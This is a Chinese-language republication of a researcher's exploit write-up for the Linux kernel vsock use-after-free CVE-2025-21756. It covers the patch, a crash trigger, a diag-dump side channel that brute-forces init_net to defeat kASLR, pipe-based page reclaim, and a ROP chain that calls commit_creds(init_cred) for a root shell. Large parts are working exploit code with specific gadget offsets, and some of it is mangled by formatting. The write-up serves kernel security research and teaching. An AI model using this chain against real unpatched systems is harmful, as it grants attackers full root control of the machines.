Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

admin 2025年5月24日22:13:32评论6 views字数 10756阅读35分51秒阅读模式
w
Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

文章讲的是Linux内核的一个漏洞,CVE-2025-21756,名字还挺酷,叫“Attack of the Vsock”。这个漏洞其实是个Use-After-Free问题,存在于vsock子系统里,主要是因为引用计数处理得不好,导致攻击者能直接提权到root,拿到系统控制权。作者在文章里详细讲了咋利用这个漏洞,包括怎么绕过AppArmor和kASLR,还用ROP链搞定了代码执行,最后在Linux 6.6.75上拿到了root shell。说实话,这种漏洞挺让人头疼的,Linux内核安全一直是个老大难问题,类似的UAF漏洞之前也见过不少。这篇文章写得挺实在的,感兴趣的朋友可以看看

一开始只是随意浏览KernelCTF提交的内容,但很快就演变成长达数周的深入研究,研究一个看似简单的补丁 - 以及我第一次从 Linux 内核漏洞中获得 root shell!

在浏览公开的提交电子表格时,我看到了一个有趣的条目:exp237。这个漏洞补丁看起来非常简单,我惊讶于一位研究人员竟然能够利用它进行权限提升。于是,我开始了一段可能会降低我的GPA,甚至偶尔让我怀疑自己是否理智的旅程:我的第一个Linux内核漏洞利用!

设置环境

在开始深入开发漏洞利用程序之前,我们需要搭建一个良好的 Linux 内核调试环境。我决定使用QEMU,并结合midas 的精彩文章和 bata 的gdb 内核扩展脚本。我选择从 Linux 内核 6.6.75 开始,因为它与其他研究人员正在利用的版本接近。实际上,我在 WSL 中完成了整个项目,这样我就可以在学校的 Windows 电脑上编写漏洞利用程序了!

Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

补丁分析

从下面的补丁中可以看出,修复仅涉及几行代码。从代码和说明来看,传输重新分配可以触发vsock_remove_sock,从而调用 ,vsock_remove_bound从而错误地减少 vsock 对象上的引用计数器(如果套接字一开始就未绑定)。

当内核中某个对象的引用计数器达到零时,该对象将被释放到其各自的内存管理器。理想情况下,在释放 vsock 对象后,我们将能够触发某种释放后使用 (UAF) 漏洞,以获得更好的原始权限并提升权限。

--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket); void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);/* Transport reassignment must not remove the binding. */if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+   vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level)    */   lock_sock_nested(sk, level);+ sock_orphan(sk);+if (vsk->transport)     vsk->transport->release(vsk);elseif (sock_type_connectible(sk->sk_type))     vsock_remove_sock(vsk);- sock_orphan(sk);   sk->sk_shutdown = SHUTDOWN_MASK;   skb_queue_purge(&sk->sk_receive_queue);

除了这个补丁之外,维护人员还为该漏洞添加了一个测试用例,这对于启动漏洞利用非常有用。

#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */#define VMADDR_CID_NONEXISTING 42/* Test attempts to trigger a transport release for an unbound socket. This can * lead to a reference count mishandling. */staticvoidtest_seqpacket_transport_uaf_client(const struct test_opts *opts){int sockets[MAX_PORT_RETRIES];structsockaddr_vmaddr;int s, i, alen;  s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);  alen = sizeof(addr);if (getsockname(s, (struct sockaddr *)&addr, &alen)) {    perror("getsockname");exit(EXIT_FAILURE);  }for (i = 0; i < MAX_PORT_RETRIES; ++i)    sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,          SOCK_SEQPACKET);  close(s);  s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);if (s < 0) {    perror("socket");exit(EXIT_FAILURE);  }if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr"Unexpected connect() #1 successn");exit(EXIT_FAILURE);  }/* connect() #1 failed: transport set, sk in unbound list. */  addr.svm_cid = VMADDR_CID_NONEXISTING;if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr"Unexpected connect() #2 successn");exit(EXIT_FAILURE);  }/* connect() #2 failed: transport unset, sk ref dropped? */  addr.svm_cid = VMADDR_CID_LOCAL;  addr.svm_port = VMADDR_PORT_ANY;/* Vulnerable system may crash now. */  bind(s, (struct sockaddr *)&addr, alen);  close(s);while (i--)    close(sockets[i]);  control_writeln("DONE");}

最初的想法

由于这是一个UAF漏洞,我最初的想法是尝试跨缓存攻击。我的大致计划如下……

  1. 触发 vsock 对象的任意释放

  2. 使用一些用户控制的对象来回收页面,例如msg_msg

  3. 破坏 vsock 对象中的某些函数指针以获取代码执行

我们陷入恐慌!

在我的虚拟机上稍微修改并运行测试代码(参见crash.c),结果竟然导致了如下所示的内核崩溃!经过一番调试,我们发现 vsock 对象虽然被释放了,但实际上仍然链接到了vsock_bind_table。太棒了!

Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

当 AppArmor 在回收套接字上执行 bind() 调用期间取消引用 NULL sk_security 指针时,就会发生恐慌。这证实了 UAF 的存在,并凸显了 LSM 钩子带来的障碍(见下文)。

障碍#1:AppArmor + LSM

我们遇到的第一个主要障碍是 AppArmor。这是上面调用栈中看到的内核调用security_socket_bind和 的地方aa_sk_perm。这security_socket_*两个函数是 Linux 安全模块 (LSM) 钩子,它会调用 AppArmor。那么,我们的套接字是如何通过 AppArmor 安全检查的呢?

调查问题,显然__sk_destruct调用sk_prot_free,而 调用security_sk_free。因此,当我们触发漏洞以减少 refcnt 并且 vsock 被释放时,sk->sk_security指针将被清零。

/** * security_sk_free() - Free the sock's LSM blob * @sk: sock * * Deallocate security structure. */void security_sk_free(struct sock *sk){  call_void_hook(sk_free_security, sk);  kfree(sk->sk_security);  sk->sk_security = NULL;}

但是当我们调用 时security_socket_bind,AppArmor 函数会取消引用这个sk->sk_security结构体。更糟糕的是,几乎每个套接字函数似乎都有一个 LSM 对应函数。简而言之:内核赋予我们一个指向套接字的悬空指针——但 AppArmor 确保我们在使用它做任何有用的事情之前就崩溃了。那么,如果我们甚至无法用回收的套接字调用任何有用的函数,我们又该如何进行 UAF 攻击呢?

gef> p security_socket_*security_socket_accept security_socket_getpeername security_socket_bind security_socket_getpeersec_dgram security_socket_connect security_socket_getpeersec_stream security_socket_create security_socket_getsockname security_socket_getsockopt security_socket_sendmsgsecurity_socket_listen security_socket_setsockoptsecurity_socket_post_create security_socket_shutdownsecurity_socket_recvmsg security_socket_socketpair

我们有两个主要选择。

  1. 伪造指向虚假对象的 sk_security 指针

  2. 找到一些不受 apparmor 保护的函数

我决定首先探索选项#2。

我首先关注的是找到一种方法来泄露一些地址。一些“显而易见”的选择是像getsockopt或 这样的函数getsockname,但这些函数都受到 apparmor 的保护。浏览源代码时,我偶然发现了这个vsock_diag_dump功能。这是一个非常有趣的函数,因为它不受 apparmor 的保护。代码如下所示。

staticintvsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb){// ... snip .../* Bind table (locally created sockets) */if (table == 0) {while (bucket < ARRAY_SIZE(vsock_bind_table)) {structlist_head *head = &vsock_bind_table[bucket];      i = 0;      list_for_each_entry(vsk, head, bound_table) {structsock *sk = sk_vsock(vsk);if (!net_eq(sock_net(sk), net))continue;if (i < last_i)goto next_bind;if (!(req->vdiag_states & (1 << sk->sk_state)))goto next_bind;if (sk_diag_fill(sk, skb,             NETLINK_CB(cb->skb).portid,             cb->nlh->nlmsg_seq,             NLM_F_MULTI) < 0)goto done;next_bind:        i++;      }      last_i = 0;      bucket++;    }    table++;    bucket = 0;  }// ... snip ...}

由于我们释放的套接字仍然在绑定表中,因此只有两项检查可以防止我们从套接字中转储任何信息。前一项sk->sk_state检查很容易通过(不需要任何泄漏),但后一项sk_net检查似乎更难。我们如何才能伪造一个sk->__sk_common->skc_net指针而不发生 kASLR 泄漏?我在这方面被困了大约一周,但多亏了 discord 社区的帮助,我才得以克服这个难题!

Diag Dump Sidechannel 的乐趣与收益

陷入困境后,我求助于 kernelctf 社区,并在 discord 上分享了上述检查方法。几乎立刻,@h0mbre 就回复了我,建议暴力破解skc_net指针,本质上就是利用vsock_diag_dump侧信道攻击!太棒了🤯!

Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

所以总而言之,我们做以下事情来泄漏init_net...

  1. 喷水管道回收 UAF 插座的页面

  2. 使用受控值逐个 QWORD 地填充每个管道缓冲区

  3. 使用 vsock_diag_dump() 作为侧通道来检测我们覆盖的结构是否“足够有效”以绕过过滤

  4. 一旦 vsock_diag_dump() 停止报告我们的套接字,我们就知道我们损坏了 skc_net

  5. 然后,我们强制执行 init_net 的低位,直到套接字再次被接受 - 从而实现完全的 kASLR 绕过

@h0mbre 建议使用管道支持页面,事实证明它比msg_msg我之前使用的对象更加稳定/易用。经过一番努力,我成功地编写了以下代码来泄漏sk_net指针。

int junk[FLUSH];for (int i = 0; i < FLUSH; i++)    junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);puts("[+] pre alloc sockets");int pre[PRE];for (int i = 0; i < PRE; i++)    pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);// ... snip ... (alloc target & trigger uaf)puts("[+] fill up the cpu partial list");for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)close(junk[i]);puts("[+] free all the pre/post alloc-ed objects");for (int i = 0; i < POST; i++)close(post[i]);for (int i = 0; i < PRE; i++)close(pre[i]);

对象的预分配和后分配确保整个页面实际上被返回给伙伴分配器(参见此文)。下面是实际查找指针的代码skc_net。

int pipes[NUM_PIPES][2];char page[PAGE_SIZE];memset(page, 2, PAGE_SIZE); // skc_state must be 2puts("[+] reclaim page");int w = 0;int j;i = 0;while (i < NUM_PIPES) {    sleep(0.1);if (pipe(&pipes[i][0]) < 0) {        perror("pipe");break;    }printf(".");    fflush(stdout);    w = 0;while (w < PAGE_SIZE) {ssize_t written = write(pipes[i][1], page, 8);        j = query_vsock_diag();        w += written;if (j != 48goto out;    }    i++;if (i % 32 == 0puts("");}

如你所见,这段代码只是不断创建新的管道,并一次填充一个 QWORD(0x0202020202020202 以满足skc_state),直到vsock_diag_dump不再找到目标套接字。这意味着我们已经覆盖了skc_net。一旦我们真正覆盖了指针,我们只需要以相同的方式暴力破解地址的低 32 位即可。

long base = 0xffffffff84bb0000// determined through experimentationlong off = 0;long addy;printf("[+] attempting net overwrite (aslr bypass).n");while (off < 0xffffffff) {    close(pipes[i][0]);    close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) {        perror("pipe");    }    addy = base + off;    write(pipes[i][1], page, w - 8);    write(pipes[i][1], &addy, 8);if (off % 256 == 0) {printf("+");        fflush(stdout);    }    j = query_vsock_diag();if (j == 48) {printf("n[*] LEAK init_net @ 0x%lxn", base + off);goto out2;    }    off += 128;}

通过skc_net覆盖,我们一举两得。我们绕过了 kASLR,并找到了 vsock 对象中已知的偏移量。

现在剩下的就是找到一种可靠的方法来重定向执行流......

控制 RIP

为了控制指令指针,我采用了该vsock_release函数,因为它是少数不受 apparmor 保护的 vsock 功能之一。

static int vsock_release(struct socket *sock){  struct sock *sk = sock->sk;if (!sk)return0;  sk->sk_prot->close(sk, 0);  __vsock_release(sk, 0);  sock->sk = NULL;  sock->state = SS_FREE;return0;}

我们最感兴趣的是对 的调用sk->sk_prot->close(sk, 0)。由于我们控制 sk,所以我们需要一个指向函数 的有效指针。这让我困惑了一段时间,直到我开始考虑使用其他有效的原型对象。我发现raw_proto有一个指向如下所示的中止函数的指针。

intraw_abort(struct sock *sk, int err){  lock_sock(sk);  sk->sk_err = err;  sk_error_report(sk);  __udp_disconnect(sk, 0);  release_sock(sk);return0;}
该函数调用 into sk_error_report,如下所示。
voidsk_error_report(struct sock *sk){  sk->sk_error_report(sk);switch (sk->sk_family) {case AF_INET:    fallthrough;case AF_INET6:    trace_inet_sk_error_report(sk);break;default:break;  }}
因此,如果我们可以sk->sk_error_report使用堆栈枢轴小工具覆盖套接字的字段,我们就应该能够跳转到从套接字底部开始的 ROP 链。

Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

下面是覆盖之后 vsock 状态的清晰可视化。

sk->sk_prot --> &raw_proto              ↳ .close = raw_abort                          ↳ sk->sk_error_report(sk) → *stackivot*
另一个需要注意的是,需要sk_lock使用一些空字节和指针来伪造成员(这是通过大量调试确定的)。弄清楚所有这些之后,我构建了以下 ROP 链。
long kern_base = base + off - 0x3bb1f80;printf("[*] leaked kernel base @ 0x%lxn", kern_base);// calculate some rop gadgetslong raw_proto_abort = kern_base + 0x2efa8c0;long null_ptr = kern_base + 0x2eeaee0;long init_cred = kern_base + 0x2c74d80;long pop_r15_ret = kern_base + 0x15e93f;long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;long pop_rdi_ret = kern_base + 0x15e940;long commit_creds = kern_base + 0x1fcc40;long ret = kern_base + 0x5d2;// info for returning to usermodelong user_cs = 0x33;long user_ss = 0x2b;long user_rflags = 0x202;long shell = (long)get_shell;uint64_t* user_rsp = (uint64_t*)get_user_rsp();// return to user modelong swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;//getchar();printf("[+] writing the rop chainn");close(pipes[i][0]);close(pipes[i][1]);if (pipe(&pipes[i][0]) 0) {perror("pipe");}printf("[+] writingpayloadtovskn");write(pipes[i][1], pagew-56);charbuf[0x330];memset(buf, 'A', 0x330);charnot[0x330];memset(not00x330);// createtheropchain!write(pipes[i][1], &pop_rdi_ret8); // stackpivottargetwrite(pipes[i][1], &init_cred8);write(pipes[i][1], &ret8); write(pipes[i][1], &ret8);write(pipes[i][1], &pop_r15_ret8); // junkwrite(pipes[i][1], &raw_proto_abort8); // sk_prot (callssk->sk_error_report())write(pipes[i][1], &ret, 8);write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);write(pipes[i][1], &null_ptr, 8); // raxwrite(pipes[i][1], &null_ptr, 8); // rdiwrite(pipes[i][1], &shell, 8); // ripwrite(pipes[i][1], &user_cs, 8);write(pipes[i][1], &user_rflags, 8);write(pipes[i][1], user_rsp, 8); // rspwrite(pipes[i][1], &user_ss, 8);write(pipes[i][1], buf, 0x18);write(pipes[i][1], &not, 8); // sk_lockwrite(pipes[i][1], &not, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], buf, 0x200);write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]//getchar();close(s); // trigger the exploit!
请注意,我没有调用该函数,prepare_kernel_cred(NULL)因为它不再受支持(会导致崩溃)。相反,我选择调用commit_creds一个结构体,该结构体具有相对于内核基址的常量偏移量,并且 uid=gid=0。我还从这篇init_cred博客中借用了 swapgs_restore_regs_and_return_to_usermode 技术。所有这些拼图碎片都到位后,我们的漏洞利用就能获得一个 root shell!

Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

该漏洞的最终源代码发布在这里https://github.com/hoefler02/CVE-2025-21756/blob/main/x.c。该漏洞还可以更加可靠和优雅,但作为我的第一个内核破解者,我已经很满意了!

谢谢你!

对于一个只涉及几行补丁代码的漏洞来说,这段旅程让我对内核的了解远超预期!如果没有#kernelctf discord 频道上所有超级好心的黑客们的帮助,我永远也完成不了这次漏洞利用!谢谢大家!祝你破解愉快!

原文始发于微信公众号(Ots安全):Linux内核漏洞利用CVE-2025-21756:Vsock 攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月24日22:13:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux内核漏洞利用CVE-2025-21756:Vsock 攻击http://cn-sec.com/archives/4094719.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息